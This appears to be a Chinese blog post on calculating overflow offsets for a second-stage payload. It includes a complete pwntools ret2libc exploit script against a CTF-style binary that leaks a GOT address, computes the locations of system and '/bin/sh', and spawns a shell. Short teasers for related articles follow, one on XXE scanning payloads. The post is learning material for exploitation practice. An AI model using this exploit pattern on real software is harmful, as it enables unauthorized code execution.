多次溢位payload偏移量計算

2021-08-21 15:21:40 字數 1273 閱讀 8227

第二次payload,定位經常和第一次不一樣導致漏洞利用不成功。

一直都是手工分析,有些很難發現的原因導致一直分析不出來,還很浪費時間。

最後總結了一種用指令碼判斷第二次payload位址的方法。

核心**:

p=process()

context.log_level = 'debug'

gdb.attach(p)

payload1=.......

payload2="一串字串"+返回位址+函式引數1+2+3+。。。。。(一串字串用pattern_create生成)

在attach中會報錯,用patter_offset計算偏移,得到第二次的溢位位置

from pwn import *

local = true

log = true

if local:

io = process('./pwnme')

else :

io = remote('ip' , 'port')

context.log_level = 'debug'

write_got = 0x804a01c

main = 0x804847d

write_plt = 0x8048370

payload1 = 'a'*20+ p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)

io.recvuntil('the flag:\n')

#gdb.attach(io)

io.sendline(payload1)

libc  =  elf('./libc.so.6')

write_got_addr = u32(io.recv(4))

print hex(write_got_addr)

system_add = write_got_addr -  libc.symbols['write'] + libc.symbols['system']

print hex(system_add)

binsh_add  = write_got_addr - libc.symbols['write'] + next(libc.search('/bin/sh'))

print "binshadd:" +hex(binsh_add)

payload2 = 'a'*20+ p32(system_add) + p32(0) + p32(binsh_add)

io.sendline(payload2)

io.interactive()

網路安全payload

最近在學習網路安全,也是為了院裡的乙個比賽吧,自己一直挺喜歡這方面的,遇到乙個名詞,不太懂,查了查。payload data 記載著資訊的那部分資料。通常在傳輸資料時,為了使資料傳輸更可靠,要把原始資料分批傳輸,並且在每一批資料的頭和尾都加上一定的輔助資訊,比如這一批資料量的大小,校驗位等,這樣就相...

http請求中的payload

概念 payload,翻譯過來是有效載荷 payload 字面意思 有效載荷,有效負荷,有效載重 要解釋什麼是有效載重,用貨運行業打個比方 比如有一位客戶需要支付一筆費用委託貨車司機運送一車石油,石油本身的重量 車子的重量 司機的重量等等,這些都屬於載重 load 但是對於該客戶來說,他關心的只有石...

個人XXE新掃瞄payload

0x01 舊的 xxe poc remote 該poc只能證明伺服器請求過第三方dtd,但無法驗證是否執行 是否讀取了檔案是否發出來資訊 每次驗證的時候,都需要在公網主機上建乙個 xx.xml放置dtd,dtd再讀檔案指向dns或ftp,頗為麻煩 0x02 新的 xxe poc exp 想起來我還有...